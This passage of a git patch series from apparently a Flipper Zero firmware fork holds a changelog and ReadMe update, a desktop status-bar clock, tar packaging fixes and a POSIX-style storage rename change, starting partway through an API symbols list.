uint8_t[], -Variable,-,u8x8_font_inr33_3x6_f,const uint8_t[], -Variable,-,u8x8_font_inr33_3x6_n,const uint8_t[], -Variable,-,u8x8_font_inr33_3x6_r,const uint8_t[], -Variable,-,u8x8_font_inr46_4x8_f,const uint8_t[], -Variable,-,u8x8_font_inr46_4x8_n,const uint8_t[], -Variable,-,u8x8_font_inr46_4x8_r,const uint8_t[], -Variable,-,u8x8_font_lucasarts_scumm_subtitle_o_2x2_f,const uint8_t[], -Variable,-,u8x8_font_lucasarts_scumm_subtitle_o_2x2_n,const uint8_t[], -Variable,-,u8x8_font_lucasarts_scumm_subtitle_o_2x2_r,const uint8_t[], -Variable,-,u8x8_font_lucasarts_scumm_subtitle_r_2x2_f,const uint8_t[], -Variable,-,u8x8_font_lucasarts_scumm_subtitle_r_2x2_n,const uint8_t[], -Variable,-,u8x8_font_lucasarts_scumm_subtitle_r_2x2_r,const uint8_t[], -Variable,-,u8x8_font_open_iconic_arrow_1x1,const uint8_t[], -Variable,-,u8x8_font_open_iconic_arrow_2x2,const uint8_t[], -Variable,-,u8x8_font_open_iconic_arrow_4x4,const uint8_t[], -Variable,-,u8x8_font_open_iconic_arrow_8x8,const uint8_t[], -Variable,-,u8x8_font_open_iconic_check_1x1,const uint8_t[], -Variable,-,u8x8_font_open_iconic_check_2x2,const uint8_t[], -Variable,-,u8x8_font_open_iconic_check_4x4,const uint8_t[], -Variable,-,u8x8_font_open_iconic_check_8x8,const uint8_t[], -Variable,-,u8x8_font_open_iconic_embedded_1x1,const uint8_t[], -Variable,-,u8x8_font_open_iconic_embedded_2x2,const uint8_t[], -Variable,-,u8x8_font_open_iconic_embedded_4x4,const uint8_t[], -Variable,-,u8x8_font_open_iconic_embedded_8x8,const uint8_t[], -Variable,-,u8x8_font_open_iconic_play_1x1,const uint8_t[], -Variable,-,u8x8_font_open_iconic_play_2x2,const uint8_t[], -Variable,-,u8x8_font_open_iconic_play_4x4,const uint8_t[], -Variable,-,u8x8_font_open_iconic_play_8x8,const uint8_t[], -Variable,-,u8x8_font_open_iconic_thing_1x1,const uint8_t[], -Variable,-,u8x8_font_open_iconic_thing_2x2,const uint8_t[], -Variable,-,u8x8_font_open_iconic_thing_4x4,const uint8_t[], -Variable,-,u8x8_font_open_iconic_thing_8x8,const uint8_t[], -Variable,-,u8x8_font_open_iconic_weather_1x1,const uint8_t[], -Variable,-,u8x8_font_open_iconic_weather_2x2,const uint8_t[], -Variable,-,u8x8_font_open_iconic_weather_4x4,const uint8_t[], -Variable,-,u8x8_font_open_iconic_weather_8x8,const uint8_t[], -Variable,-,u8x8_font_pcsenior_f,const uint8_t[], -Variable,-,u8x8_font_pcsenior_n,const uint8_t[], -Variable,-,u8x8_font_pcsenior_r,const uint8_t[], -Variable,-,u8x8_font_pcsenior_u,const uint8_t[], -Variable,-,u8x8_font_pressstart2p_f,const uint8_t[], -Variable,-,u8x8_font_pressstart2p_n,const uint8_t[], -Variable,-,u8x8_font_pressstart2p_r,const uint8_t[], -Variable,-,u8x8_font_pressstart2p_u,const uint8_t[], -Variable,-,u8x8_font_profont29_2x3_f,const uint8_t[], -Variable,-,u8x8_font_profont29_2x3_n,const uint8_t[], -Variable,-,u8x8_font_profont29_2x3_r,const uint8_t[], -Variable,-,u8x8_font_px437wyse700a_2x2_f,const uint8_t[], -Variable,-,u8x8_font_px437wyse700a_2x2_n,const uint8_t[], -Variable,-,u8x8_font_px437wyse700a_2x2_r,const uint8_t[], -Variable,-,u8x8_font_px437wyse700b_2x2_f,const uint8_t[], -Variable,-,u8x8_font_px437wyse700b_2x2_n,const uint8_t[], -Variable,-,u8x8_font_px437wyse700b_2x2_r,const uint8_t[], -Variable,-,u8x8_font_pxplusibmcga_f,const uint8_t[], -Variable,-,u8x8_font_pxplusibmcga_n,const uint8_t[], -Variable,-,u8x8_font_pxplusibmcga_r,const uint8_t[], -Variable,-,u8x8_font_pxplusibmcga_u,const uint8_t[], -Variable,-,u8x8_font_pxplusibmcgathin_f,const uint8_t[], -Variable,-,u8x8_font_pxplusibmcgathin_n,const uint8_t[], -Variable,-,u8x8_font_pxplusibmcgathin_r,const uint8_t[], -Variable,-,u8x8_font_pxplusibmcgathin_u,const uint8_t[], -Variable,-,u8x8_font_pxplustandynewtv_f,const uint8_t[], -Variable,-,u8x8_font_pxplustandynewtv_n,const uint8_t[], -Variable,-,u8x8_font_pxplustandynewtv_r,const uint8_t[], -Variable,-,u8x8_font_pxplustandynewtv_u,const uint8_t[], -Variable,-,u8x8_font_saikyosansbold8_n,const uint8_t[], -Variable,-,u8x8_font_saikyosansbold8_u,const uint8_t[], -Variable,-,u8x8_font_torussansbold8_n,const uint8_t[], -Variable,-,u8x8_font_torussansbold8_r,const uint8_t[], -Variable,-,u8x8_font_torussansbold8_u,const uint8_t[], -Variable,-,u8x8_font_victoriabold8_n,const uint8_t[], -Variable,-,u8x8_font_victoriabold8_r,const uint8_t[], -Variable,-,u8x8_font_victoriabold8_u,const uint8_t[], -Variable,-,u8x8_font_victoriamedium8_n,const uint8_t[], -Variable,-,u8x8_font_victoriamedium8_r,const uint8_t[], -Variable,-,u8x8_font_victoriamedium8_u,const uint8_t[], Variable,+,usb_cdc_dual,FuriHalUsbInterface, Variable,+,usb_cdc_single,FuriHalUsbInterface, Variable,+,usb_hid,FuriHalUsbInterface, diff --git a/lib/SConscript b/lib/SConscript index ec5dfda1e..8727746d8 100644 --- a/lib/SConscript +++ b/lib/SConscript @@ -44,7 +44,6 @@ env.Append( "variant", ) ), - File("u8g2/u8g2.h"), ], CPPDEFINES=[ '"M_MEMORY_FULL(x)=abort()"', From 1d11bc64a935270b7a2fac2c0df9fa2ef0bddcf9 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 22 May 2023 06:00:45 +0300 Subject: [PATCH 024/100] Update readme & changelog --- CHANGELOG.md | 49 +++++++++++-------------------------------------- ReadMe.md | 2 +- 2 files changed, 12 insertions(+), 39 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a16fc8256..5dc889d2f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,42 +1,15 @@ ### New changes -* **Warning! After installing, Desktop settings (Favoutite apps, PIN Code, AutoLock time..) will be resetted to default due to OFW changes, Please set your PIN code, Favourite apps again in Settings->Desktop** -* New way of changing device name -> **Now can be changed in Settings->Desktop** (by @xMasterX and @Willy-JL) -* Plugins: BadBT plugin (BT version of BadKB) [(by Willy-JL, ClaraCrazy, XFW contributors)](https://github.com/ClaraCrazy/Flipper-Xtreme/tree/dev/applications/main/bad_kb) -* Plugins: WiFi Marauder -> Added sniff pmkid on selected aps from 0.10.4 update (by @clipboard1) -* Plugins: SubGHz Bruteforcer -> Increase delay just a little bit to fix some cases when receiver will not get codes and decrease manual transmit delay -* Plugins: UART Terminal -> Fix crashes on plugin load with RX connected -* NFC: Mifare mini with SAK 0x89 support -* SubGHz: **CAME Atomo - Add manually support and custom buttons support** -* SubGHz: Fix crashes when deleting signals using right arrow button in `Read` mode -* SubGHz: Restore Rx indication after deletion after Memory is FULL (by @wosk | PR #464) -* SubGHz: **App refactoring** (OFW code ported + our code was refactored/cleaned up too) (by @gid9798 and @xMasterX | PR #461) -* SubGHz: Using scene manager functions in DecodeRAW (by @gid9798 | PR #462) -* SubGHz: Protocols and custom buttons refactoring (by @gid9798 | PR #465) -* SubGHz: Move `counter increase` setting out of debug, change max value -* GUI: Submenu locked elements (by @Willy-JL and @giacomoferretti) -* GUI: Text Input improvements, added cursor and ability to set minimal length (by @Willy-JL) -* BT API: Functions that allow to change bt mac address and device broadcasted name (by @Willy-JL and XFW contributors) -* Infrared: `External output` move out of debug and add power option for external modules -* Infrared: Updated universal remote assets (by @amec0e | PR #474) -* Extra pack: Some app fixes -* FBT: Fix vscode example config for debug builds - please run `./fbt vscode_dist` again if you had issues with debug builds size -* OFW PR 2316: NFC V support (by @g3gg0 & @nvx) -* OFW PR 2669: nfc: Fix MFUL tearing flags read (by @GMMan) -* OFW PR 2666: BadUSB: Add fr-FR-mac key layout (by @FelixLgr) -* OFW: api: added lib/nfc/protocols/nfc_util.h -* OFW: fix PIN retry count reset on reboot -* OFW: fbt: allow strings for fap_version field in app manifests -* OFW: Rpc: add desktop service. Desktop: refactor locking routine. **Now PIN lock is actually cannot be bypassed by reboot!** / **Desktop settings will be reset, please set your PIN and favourite apps again!** -* OFW: Part 2 of hooking C2 IPC -* OFW: ble: attempt to handle hardfaulted c2 -* OFW: Add Mfkey32 application -* OFW: Added DigitalSequence and PulseReader -* OFW: Debug: revert cortex debug to lxml and drop DWT **(reapply your VSCode launch.json from example folder)** -* OFW: furi_crash: added C2 status; added fw-version gdb command -* OFW: Removed STM32CubeWB module -* OFW: API version in UI -* OFW: ufbt: deploying sample ufbt automation for new apps; added `source "ufbt -s env"` for toolchain access -* OFW: Fix storage.py exist_dir logic +* SubGHz Remote: Full refactoring, app was re-made from scratch (by @gid9798) +* API: Cleanup, mini refactoring of some apps (+6k of free flash space) +* SubGHz: Various fixes (by @gid9798) +* SubGHz: Fix counter settings in debug +* SubGHz: Move dangerous_settings check (by @gid9798 | PR #475) +* Misc: Name changer code moved to proper place, load after system startup + extra checks +* Plugins: NMEA GPS UART - stability fix +* Plugins: Port XFW keyboard with extra symbols to WiFi Marauder instead of using UART Term keyboard (thanks to @Willy-JL) +* Plugins: Update WiFi Marauder [(by 0xchocolate)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) +* OFW: fbt: Use union for old py (Fix builds if using older python versions) +* OFW PR 2682: USB HID report timeout (by nminaylov) #### [🎲 Download latest extra apps pack](https://github.com/xMasterX/all-the-plugins/archive/refs/heads/main.zip) diff --git a/ReadMe.md b/ReadMe.md index 596891d6e..fe6c7fb34 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -145,7 +145,7 @@ You can support us by using links or addresses below: - ESP32: WiFi Marauder companion plugin [(by 0xchocolate)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) - Saving .pcap on flipper microSD [by tcpassos](https://github.com/tcpassos/flipperzero-firmware-with-wifi-marauder-companion) -> Only with custom marauder build (It is necessary to uncomment "#define WRITE_PACKETS_SERIAL" in configs.h (in marauder fw) and compile the firmware for the wifi board.) Or download precompiled build -> [Download esp32_marauder_ver_flipper_sd_serial.bin](https://github.com/justcallmekoko/ESP32Marauder/releases/latest) - NRF24: Sniffer & MouseJacker (with changes) [(by mothball187)](https://github.com/mothball187/flipperzero-nrf24/tree/main/mousejacker) - Simple Clock (timer by GMMan) [(original by CompaqDisc)](https://gist.github.com/CompaqDisc/4e329c501bd03c1e801849b81f48ea61) -- **Sub-GHz Remote** (UniversalRF Remix) [(by @darmiel & @xMasterX)](https://github.com/darmiel/flipper-playlist/tree/feat/unirf-protocols) (original by @ESurge) +- **Sub-GHz Remote** [(by @gid9798)](https://github.com/gid9798) - Spectrum Analyzer (with changes) [(by jolcese)](https://github.com/jolcese/flipperzero-firmware/tree/spectrum/applications/spectrum_analyzer) - [Ultra Narrow mode & scan channels non-consecutively](https://github.com/theY4Kman/flipperzero-firmware/commits?author=theY4Kman) - Metronome [(by panki27)](https://github.com/panki27/Metronome) - DTMF Dolphin [(by litui)](https://github.com/litui/dtmf_dolphin) From 451ba8da9f04a88f892e6caa6aba457ab25f5d31 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 22 May 2023 06:03:28 +0300 Subject: [PATCH 025/100] More API cleanup --- firmware/targets/f7/api_symbols.csv | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 3313f3ecd..cd79ebb23 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -2515,7 +2515,7 @@ Function,-,select,int,"int, fd_set*, fd_set*, fd_set*, timeval*" Function,-,serial_svc_is_started,_Bool, Function,-,serial_svc_notify_buffer_is_empty,void, Function,-,serial_svc_set_callbacks,void,"uint16_t, SerialServiceEventCallback, void*" -Function,+,serial_svc_set_rpc_status,void,SerialServiceRpcStatus +Function,-,serial_svc_set_rpc_status,void,SerialServiceRpcStatus Function,-,serial_svc_start,void, Function,-,serial_svc_stop,void, Function,-,serial_svc_update_tx,_Bool,"uint8_t*, uint16_t" From 544b6fea8a076cd218093bbb9f262147f8367874 Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Mon, 22 May 2023 11:42:27 +0300 Subject: [PATCH 026/100] clock port --- applications/services/desktop/desktop.c | 58 +++++++++++++++++++++++ applications/services/desktop/desktop_i.h | 1 + 2 files changed, 59 insertions(+) diff --git a/applications/services/desktop/desktop.c b/applications/services/desktop/desktop.c index 77999dfcc..6d9db3b5d 100644 --- a/applications/services/desktop/desktop.c +++ b/applications/services/desktop/desktop.c @@ -48,6 +48,57 @@ static void desktop_dummy_mode_icon_draw_callback(Canvas* canvas, void* context) canvas_draw_icon(canvas, 0, 0, &I_GameMode_11x8); } +static void desktop_clock_draw_callback(Canvas* canvas, void* context) { + //UNUSED(context); + furi_assert(context); + furi_assert(canvas); + + Desktop* desktop = context; + // canvas_draw_icon(canvas, 0, 0, &I_GameMode_11x8); + + const char* s[4]; + + s[0] = "4"; + s[1] = "4"; + s[2] = "4"; + s[3] = "1"; + + canvas_set_font(canvas, FontPrimary); + + uint8_t new_w = ((strcmp(s[0], "1") == 0) ? 3 : 5) + //c1 + ((strcmp(s[1], "1") == 0) ? 3 : 5) + //c2 + ((strcmp(s[2], "1") == 0) ? 3 : 5) + //c3 + ((strcmp(s[3], "1") == 0) ? 3 : 5) + //c4 + 2 + 4; // ":" + 4 separators + + view_port_set_width(desktop->clock_viewport, new_w); + uint8_t x = new_w; + + uint8_t y = 8; + uint8_t offset_r; + + canvas_draw_str_aligned(canvas, x, y, AlignRight, AlignBottom, s[0]); + offset_r = (strcmp(s[0], "1") == 0) ? 3 : 5; + + canvas_draw_str_aligned(canvas, x -= (offset_r + 1), y, AlignRight, AlignBottom, s[1]); + offset_r = (strcmp(s[1], "1") == 0) ? 3 : 5; + + canvas_draw_str_aligned(canvas, x -= (offset_r + 1), y - 1, AlignRight, AlignBottom, ":"); + offset_r = 2; + + canvas_draw_str_aligned(canvas, x -= (offset_r + 1), y, AlignRight, AlignBottom, s[2]); + offset_r = (strcmp(s[2], "1") == 0) ? 3 : 5; + + canvas_draw_str_aligned(canvas, x -= (offset_r + 1), y, AlignRight, AlignBottom, s[3]); + offset_r = (strcmp(s[3], "1") == 0) ? 3 : 5; + + x -= (offset_r + 1); + + // canvas_set_font(canvas, FontSecondary); + + // canvas_draw_str_aligned(canvas, 14, y - 1, AlignRight, AlignBottom, ":"); +} + static void desktop_stealth_mode_icon_draw_callback(Canvas* canvas, void* context) { UNUSED(context); furi_assert(canvas); @@ -279,6 +330,13 @@ Desktop* desktop_alloc() { view_port_enabled_set(desktop->dummy_mode_icon_viewport, false); gui_add_view_port(desktop->gui, desktop->dummy_mode_icon_viewport, GuiLayerStatusBarLeft); + // Clock + desktop->clock_viewport = view_port_alloc(); + view_port_set_width(desktop->clock_viewport, 26); + view_port_draw_callback_set(desktop->clock_viewport, desktop_clock_draw_callback, desktop); + view_port_enabled_set(desktop->clock_viewport, true); + gui_add_view_port(desktop->gui, desktop->clock_viewport, GuiLayerStatusBarRight); + // Stealth mode icon desktop->stealth_mode_icon_viewport = view_port_alloc(); view_port_set_width(desktop->stealth_mode_icon_viewport, icon_get_width(&I_Muted_8x8)); diff --git a/applications/services/desktop/desktop_i.h b/applications/services/desktop/desktop_i.h index ede6bbcc3..1d9df7c85 100644 --- a/applications/services/desktop/desktop_i.h +++ b/applications/services/desktop/desktop_i.h @@ -59,6 +59,7 @@ struct Desktop { ViewPort* lock_icon_viewport; ViewPort* dummy_mode_icon_viewport; + ViewPort* clock_viewport; ViewPort* stealth_mode_icon_viewport; AnimationManager* animation_manager; From 5f1ac6e1b14595e8727497b9227ad239d60f2d86 Mon Sep 17 00:00:00 2001 From: Yukai Li Date: Mon, 22 May 2023 03:14:18 -0600 Subject: [PATCH 027/100] fbt: Fix tar uid overflow when packaging (#2689) * fbt: Fix tar uid overflow when packaging * Fix trailing spaces --- scripts/sconsdist.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/scripts/sconsdist.py b/scripts/sconsdist.py index d2d1d2f49..461781136 100644 --- a/scripts/sconsdist.py +++ b/scripts/sconsdist.py @@ -271,7 +271,13 @@ class Main(App): self.note_dist_component( "update", "tgz", self.get_dist_path(bundle_tgz) ) - tar.add(bundle_dir, arcname=bundle_dir_name) + + # Strip uid and gid in case of overflow + def tar_filter(tarinfo): + tarinfo.uid = tarinfo.gid = 0 + return tarinfo + + tar.add(bundle_dir, arcname=bundle_dir_name, filter=tar_filter) return bundle_result From e40620fd108d63b03e07e3e0a1e4900727b0ed63 Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Mon, 22 May 2023 22:45:16 +0300 Subject: [PATCH 028/100] clock --- applications/services/desktop/desktop.c | 72 +++++++++++++++++------ applications/services/desktop/desktop_i.h | 4 ++ 2 files changed, 58 insertions(+), 18 deletions(-) diff --git a/applications/services/desktop/desktop.c b/applications/services/desktop/desktop.c index 6d9db3b5d..050f6bcbd 100644 --- a/applications/services/desktop/desktop.c +++ b/applications/services/desktop/desktop.c @@ -48,6 +48,16 @@ static void desktop_dummy_mode_icon_draw_callback(Canvas* canvas, void* context) canvas_draw_icon(canvas, 0, 0, &I_GameMode_11x8); } +static uint8_t desktop_clock_get_num_w(uint8_t num) { + if(num == 1) { + return 3; + } else { + return 5; + } +} + +static const char* digit[10] = {"0", "1", "2", "3", "4", "5", "6", "7", "8", "9"}; + static void desktop_clock_draw_callback(Canvas* canvas, void* context) { //UNUSED(context); furi_assert(context); @@ -56,19 +66,19 @@ static void desktop_clock_draw_callback(Canvas* canvas, void* context) { Desktop* desktop = context; // canvas_draw_icon(canvas, 0, 0, &I_GameMode_11x8); - const char* s[4]; - - s[0] = "4"; - s[1] = "4"; - s[2] = "4"; - s[3] = "1"; + uint8_t d[4] = { + desktop->minute % 10, + desktop->minute / 10, + desktop->hour % 10, + desktop->hour / 10, + }; canvas_set_font(canvas, FontPrimary); - uint8_t new_w = ((strcmp(s[0], "1") == 0) ? 3 : 5) + //c1 - ((strcmp(s[1], "1") == 0) ? 3 : 5) + //c2 - ((strcmp(s[2], "1") == 0) ? 3 : 5) + //c3 - ((strcmp(s[3], "1") == 0) ? 3 : 5) + //c4 + uint8_t new_w = desktop_clock_get_num_w(d[0]) + //c1 + desktop_clock_get_num_w(d[1]) + //c2 + desktop_clock_get_num_w(d[2]) + //c3 + desktop_clock_get_num_w(d[3]) + //c4 2 + 4; // ":" + 4 separators view_port_set_width(desktop->clock_viewport, new_w); @@ -77,20 +87,20 @@ static void desktop_clock_draw_callback(Canvas* canvas, void* context) { uint8_t y = 8; uint8_t offset_r; - canvas_draw_str_aligned(canvas, x, y, AlignRight, AlignBottom, s[0]); - offset_r = (strcmp(s[0], "1") == 0) ? 3 : 5; + canvas_draw_str_aligned(canvas, x, y, AlignRight, AlignBottom, digit[d[0]]); + offset_r = desktop_clock_get_num_w(d[0]); - canvas_draw_str_aligned(canvas, x -= (offset_r + 1), y, AlignRight, AlignBottom, s[1]); - offset_r = (strcmp(s[1], "1") == 0) ? 3 : 5; + canvas_draw_str_aligned(canvas, x -= (offset_r + 1), y, AlignRight, AlignBottom, digit[d[1]]); + offset_r = desktop_clock_get_num_w(d[1]); canvas_draw_str_aligned(canvas, x -= (offset_r + 1), y - 1, AlignRight, AlignBottom, ":"); offset_r = 2; - canvas_draw_str_aligned(canvas, x -= (offset_r + 1), y, AlignRight, AlignBottom, s[2]); - offset_r = (strcmp(s[2], "1") == 0) ? 3 : 5; + canvas_draw_str_aligned(canvas, x -= (offset_r + 1), y, AlignRight, AlignBottom, digit[d[2]]); + offset_r = desktop_clock_get_num_w(d[2]); - canvas_draw_str_aligned(canvas, x -= (offset_r + 1), y, AlignRight, AlignBottom, s[3]); - offset_r = (strcmp(s[3], "1") == 0) ? 3 : 5; + canvas_draw_str_aligned(canvas, x -= (offset_r + 1), y, AlignRight, AlignBottom, digit[d[3]]); + offset_r = desktop_clock_get_num_w(d[3]); x -= (offset_r + 1); @@ -184,6 +194,20 @@ static void desktop_auto_lock_inhibit(Desktop* desktop) { } } +static void desktop_update_clock_timer_callback(void* context) { + furi_assert(context); + Desktop* desktop = context; + + FuriHalRtcDateTime curr_dt; + furi_hal_rtc_get_datetime(&curr_dt); + + desktop->hour = curr_dt.hour; + desktop->minute = curr_dt.minute; + view_port_update(desktop->clock_viewport); + + // view_dispatcher_send_custom_event(desktop->view_dispatcher, DesktopGlobalAutoLock); +} + void desktop_lock(Desktop* desktop) { furi_hal_rtc_set_flag(FuriHalRtcFlagLock); @@ -366,6 +390,17 @@ Desktop* desktop_alloc() { desktop->auto_lock_timer = furi_timer_alloc(desktop_auto_lock_timer_callback, FuriTimerTypeOnce, desktop); + desktop->update_clock_timer = + furi_timer_alloc(desktop_update_clock_timer_callback, FuriTimerTypePeriodic, desktop); + + FuriHalRtcDateTime curr_dt; + furi_hal_rtc_get_datetime(&curr_dt); + + desktop->hour = curr_dt.hour; + desktop->minute = curr_dt.minute; + + furi_timer_start(desktop->update_clock_timer, furi_ms_to_ticks(1000)); + furi_record_create(RECORD_DESKTOP, desktop); return desktop; @@ -419,6 +454,7 @@ void desktop_free(Desktop* desktop) { furi_record_close("menu"); furi_timer_free(desktop->auto_lock_timer); + furi_timer_free(desktop->update_clock_timer); free(desktop); } diff --git a/applications/services/desktop/desktop_i.h b/applications/services/desktop/desktop_i.h index 1d9df7c85..0fac0f34c 100644 --- a/applications/services/desktop/desktop_i.h +++ b/applications/services/desktop/desktop_i.h @@ -71,6 +71,10 @@ struct Desktop { FuriPubSub* input_events_pubsub; FuriPubSubSubscription* input_events_subscription; FuriTimer* auto_lock_timer; + FuriTimer* update_clock_timer; + + uint8_t hour; + uint8_t minute; bool in_transition; }; From a821a2fcc0eaa72a96f2a48c0424287e7f688e06 Mon Sep 17 00:00:00 2001 From: hedger Date: Tue, 23 May 2023 14:51:21 +0400 Subject: [PATCH 029/100] [FL-3328] Removed user-specific data from tar artifacts (#2691) --- scripts/sconsdist.py | 2 ++ scripts/update.py | 3 +++ 2 files changed, 5 insertions(+) diff --git a/scripts/sconsdist.py b/scripts/sconsdist.py index 461781136..23f9526a0 100644 --- a/scripts/sconsdist.py +++ b/scripts/sconsdist.py @@ -275,6 +275,8 @@ class Main(App): # Strip uid and gid in case of overflow def tar_filter(tarinfo): tarinfo.uid = tarinfo.gid = 0 + tarinfo.mtime = 0 + tarinfo.uname = tarinfo.gname = "furippa" return tarinfo tar.add(bundle_dir, arcname=bundle_dir_name, filter=tar_filter) diff --git a/scripts/update.py b/scripts/update.py index 0f3ee6ea8..9f0d95d94 100755 --- a/scripts/update.py +++ b/scripts/update.py @@ -211,6 +211,9 @@ class Main(App): f"Cannot package resource: name '{tarinfo.name}' too long" ) raise ValueError("Resource name too long") + tarinfo.gid = tarinfo.uid = 0 + tarinfo.mtime = 0 + tarinfo.uname = tarinfo.gname = "furippa" return tarinfo def package_resources(self, srcdir: str, dst_name: str): From c82ed71b6f77a66e939879e7596cf8c3563bae5a Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Tue, 23 May 2023 16:41:57 +0300 Subject: [PATCH 030/100] cleanup --- applications/services/desktop/desktop.c | 25 ++++++++++--------------- 1 file changed, 10 insertions(+), 15 deletions(-) diff --git a/applications/services/desktop/desktop.c b/applications/services/desktop/desktop.c index 050f6bcbd..31e53f3f2 100644 --- a/applications/services/desktop/desktop.c +++ b/applications/services/desktop/desktop.c @@ -51,6 +51,8 @@ static void desktop_dummy_mode_icon_draw_callback(Canvas* canvas, void* context) static uint8_t desktop_clock_get_num_w(uint8_t num) { if(num == 1) { return 3; + } else if(num == 4) { + return 6; } else { return 5; } @@ -59,12 +61,10 @@ static uint8_t desktop_clock_get_num_w(uint8_t num) { static const char* digit[10] = {"0", "1", "2", "3", "4", "5", "6", "7", "8", "9"}; static void desktop_clock_draw_callback(Canvas* canvas, void* context) { - //UNUSED(context); furi_assert(context); furi_assert(canvas); Desktop* desktop = context; - // canvas_draw_icon(canvas, 0, 0, &I_GameMode_11x8); uint8_t d[4] = { desktop->minute % 10, @@ -81,7 +81,8 @@ static void desktop_clock_draw_callback(Canvas* canvas, void* context) { desktop_clock_get_num_w(d[3]) + //c4 2 + 4; // ":" + 4 separators - view_port_set_width(desktop->clock_viewport, new_w); + view_port_set_width(desktop->clock_viewport, new_w - 1); + uint8_t x = new_w; uint8_t y = 8; @@ -100,13 +101,6 @@ static void desktop_clock_draw_callback(Canvas* canvas, void* context) { offset_r = desktop_clock_get_num_w(d[2]); canvas_draw_str_aligned(canvas, x -= (offset_r + 1), y, AlignRight, AlignBottom, digit[d[3]]); - offset_r = desktop_clock_get_num_w(d[3]); - - x -= (offset_r + 1); - - // canvas_set_font(canvas, FontSecondary); - - // canvas_draw_str_aligned(canvas, 14, y - 1, AlignRight, AlignBottom, ":"); } static void desktop_stealth_mode_icon_draw_callback(Canvas* canvas, void* context) { @@ -200,10 +194,11 @@ static void desktop_update_clock_timer_callback(void* context) { FuriHalRtcDateTime curr_dt; furi_hal_rtc_get_datetime(&curr_dt); - - desktop->hour = curr_dt.hour; - desktop->minute = curr_dt.minute; - view_port_update(desktop->clock_viewport); + if(desktop->minute != curr_dt.minute) { + desktop->hour = curr_dt.hour; + desktop->minute = curr_dt.minute; + view_port_update(desktop->clock_viewport); + } // view_dispatcher_send_custom_event(desktop->view_dispatcher, DesktopGlobalAutoLock); } @@ -356,7 +351,7 @@ Desktop* desktop_alloc() { // Clock desktop->clock_viewport = view_port_alloc(); - view_port_set_width(desktop->clock_viewport, 26); + view_port_set_width(desktop->clock_viewport, 25); view_port_draw_callback_set(desktop->clock_viewport, desktop_clock_draw_callback, desktop); view_port_enabled_set(desktop->clock_viewport, true); gui_add_view_port(desktop->gui, desktop->clock_viewport, GuiLayerStatusBarRight); From 711f0fef405fefc51d08fdafd942423a6aba9bcc Mon Sep 17 00:00:00 2001 From: Sergey Gavrilov Date: Tue, 23 May 2023 07:59:32 -0700 Subject: [PATCH 031/100] [FL-3327] Storage: common_rename is now POSIX compliant (#2693) * Storage: common_rename is now POSIX compliant * storage: check for success on storage_common_remove in file rename --------- Co-authored-by: hedger --- applications/services/storage/storage.h | 2 +- applications/services/storage/storage_external_api.c | 11 ++++++++++- 2 files changed, 11 insertions(+), 2 deletions(-) diff --git a/applications/services/storage/storage.h b/applications/services/storage/storage.h index a1267575f..dccf29592 100644 --- a/applications/services/storage/storage.h +++ b/applications/services/storage/storage.h @@ -226,7 +226,7 @@ FS_Error storage_common_stat(Storage* storage, const char* path, FileInfo* filei */ FS_Error storage_common_remove(Storage* storage, const char* path); -/** Renames file/directory, file/directory must not be open +/** Renames file/directory, file/directory must not be open. Will overwrite existing file. * @param app pointer to the api * @param old_path old path * @param new_path new path diff --git a/applications/services/storage/storage_external_api.c b/applications/services/storage/storage_external_api.c index bf474bc9d..549397c87 100644 --- a/applications/services/storage/storage_external_api.c +++ b/applications/services/storage/storage_external_api.c @@ -422,7 +422,16 @@ FS_Error storage_common_remove(Storage* storage, const char* path) { } FS_Error storage_common_rename(Storage* storage, const char* old_path, const char* new_path) { - FS_Error error = storage_common_copy(storage, old_path, new_path); + FS_Error error; + + if(storage_file_exists(storage, new_path)) { + error = storage_common_remove(storage, new_path); + if(error != FSE_OK) { + return error; + } + } + + error = storage_common_copy(storage, old_path, new_path); if(error == FSE_OK) { if(!storage_simply_remove_recursive(storage, old_path)) { error = FSE_INTERNAL; From 3217f286f03da119398586daf94c0723d28b872a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E3=81=82=E3=81=8F?= Date: Wed, 24 May 2023 00:17:12 +0900 Subject: [PATCH 032/100] Services: remove deallocator for persistent services (#2692) Co-authored-by: hedger --- applications/services/desktop/desktop.c | 55 +------------------ applications/services/dolphin/dolphin.c | 11 +--- applications/services/dolphin/dolphin_i.h | 2 - .../services/power/power_service/power.c | 26 +-------- 4 files changed, 4 insertions(+), 90 deletions(-) diff --git a/applications/services/desktop/desktop.c b/applications/services/desktop/desktop.c index 77999dfcc..36589aed4 100644 --- a/applications/services/desktop/desktop.c +++ b/applications/services/desktop/desktop.c @@ -313,58 +313,6 @@ Desktop* desktop_alloc() { return desktop; } -void desktop_free(Desktop* desktop) { - furi_assert(desktop); - furi_check(furi_record_destroy(RECORD_DESKTOP)); - - furi_pubsub_unsubscribe( - loader_get_pubsub(desktop->loader), desktop->app_start_stop_subscription); - - if(desktop->input_events_subscription) { - furi_pubsub_unsubscribe(desktop->input_events_pubsub, desktop->input_events_subscription); - desktop->input_events_subscription = NULL; - } - - desktop->loader = NULL; - desktop->input_events_pubsub = NULL; - furi_record_close(RECORD_LOADER); - furi_record_close(RECORD_NOTIFICATION); - furi_record_close(RECORD_INPUT_EVENTS); - - view_dispatcher_remove_view(desktop->view_dispatcher, DesktopViewIdMain); - view_dispatcher_remove_view(desktop->view_dispatcher, DesktopViewIdLockMenu); - view_dispatcher_remove_view(desktop->view_dispatcher, DesktopViewIdLocked); - view_dispatcher_remove_view(desktop->view_dispatcher, DesktopViewIdDebug); - view_dispatcher_remove_view(desktop->view_dispatcher, DesktopViewIdHwMismatch); - 